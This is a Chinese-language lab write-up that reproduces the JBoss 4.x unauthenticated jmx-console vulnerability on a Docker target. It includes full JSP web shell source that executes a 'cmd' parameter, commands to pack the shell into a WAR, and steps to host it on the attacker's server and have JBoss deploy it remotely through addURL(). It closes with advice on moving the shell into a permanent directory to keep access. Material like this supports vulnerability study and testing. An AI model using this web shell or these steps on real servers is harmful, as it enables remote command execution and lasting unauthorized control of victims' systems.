概要
在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。
靶场搭建
这里使用docker搭建Jboss漏洞靶场:
#搜索JBoss环境
docker search testjboss
#选择需要的环境
docker pull testjboss/jboss
#实例化testjboss/jboss镜像
docker run -d-p 8088:8080 testjboss/jboss
我的虚拟机IP:192.168.1.129,即靶场地址为:
http://192.168.1.129:8088/
漏洞复现
一、通过addURL()远程部署利用
1、将jsp文件压缩成war格式的文件,压缩命令:
jar cvf one.war one.jsp
jsp内容:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
2、将war包上传到自己的服务器,可以利用命令:python -m http.server 8001
搭建一个http服务供下载war包。
3、Jboxx4.x /jmx-console/ 后台存在未授权访问,找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
4、 找到页面中的void addURL()选项来远程加载war包来部署。
5、接下来查看是否部署成功,返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可。
6、接下来直接访问上传的webshell,成功访问。
#通常像上面这样部署的webshell,物理路径默认都会在以下目录下 \jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
#这个目录只能临时用,还需要把shell转移到jmx-console的默认目录来巩固权限 \jboss-4.2.3.GA\server\default\deploy\jmx-console.war